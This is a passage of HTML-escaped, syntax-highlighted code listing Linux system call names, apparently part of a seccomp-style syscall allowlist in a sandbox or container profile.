&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"accept"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"accept4"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"access"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arch_prctl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"bind"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"brk"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"capget"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"capset"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"chdir"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"chmod"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"chown"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"clock_getres"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"clock_gettime"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"clock_nanosleep"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"clone"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"clone3"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"close"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"connect"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"copy_file_range"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"creat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dup"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dup2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dup3"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"epoll_create1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"epoll_ctl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"epoll_pwait"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"eventfd2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"execve"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"exit"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"exit_group"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"faccessat2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fadvise64"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"fallocate"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fchdir"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fchmod"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fchmodat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fchown"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"fchownat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fcntl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fdatasync"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fgetxattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"flistxattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"flock"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fork"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fremovexattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"fsetxattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fstat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fstatfs"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"fsync"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ftruncate"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"futex"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getcwd"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getdents64"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getegid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"geteuid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"getgid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getpeername"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getpgid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getpgrp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"getpid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getppid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getpriority"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getrandom"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"getresgid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getresuid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getrlimit"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getrusage"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"getsockname"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getsockopt"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"gettid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"gettimeofday"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"getuid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"getxattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"inotify_add_watch"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"inotify_init1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"inotify_rm_watch"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ioctl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"ioprio_get"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ioprio_set"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"kcmp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"kill"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"lgetxattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"link"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"linkat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"listen"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"listxattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"llistxattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"lremovexattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"lseek"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"lsetxattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"lstat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"madvise"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mbind"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"memfd_create"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"membarrier"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mincore"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mkdir"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mkdirat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"mlock"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mlock2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mmap"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mmap_cache"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mount"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"move_mount"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mprotect"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mquery"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mremap"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"msgctl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"msgget"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"msgrcv"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"msgsnd"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"msync"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"munlock"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"munmap"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"name_to_handle_at"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"nanosleep"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"newfstatat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"open"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"openat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"openat2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pause"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pidfd_getfd"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pidfd_open"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"pidfd_send_signal"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pipe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pipe2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"poll"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"ppoll"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"prctl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pread64"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"preadv"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"preadv2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"prlimit64"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"process_vm_readv"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pselect6"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"pwrite64"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pwritev"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pwritev2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"read"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"readlink"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"readlinkat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"readv"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"recvfrom"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"recvmmsg"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"recvmsg"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"rename"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"renameat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"renameat2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"restart_syscall"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"rmdir"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"rseq"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"rt_sigaction"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"rt_sigpending"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"rt_sigprocmask"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"rt_sigqueueinfo"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"rt_sigreturn"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"rt_sigsuspend"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"rt_sigtimedwait"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sched_getaffinity"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"sched_getattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sched_getparam"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sched_getscheduler"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"sched_rr_get_interval"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sched_setaffinity"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"sched_setattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sched_setparam"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sched_setscheduler"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"sched_yield"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"seccomp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"select"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"semctl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"semget"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"semop"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"semtimedop"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sendfile"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"sendmmsg"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sendmsg"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sendto"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"set_gid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"set_robust_list"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"set_tid_address"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setdomainname"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"setgid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setgroups"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sethostname"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setitimer"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"setpgid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setpriority"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setregid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setresgid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
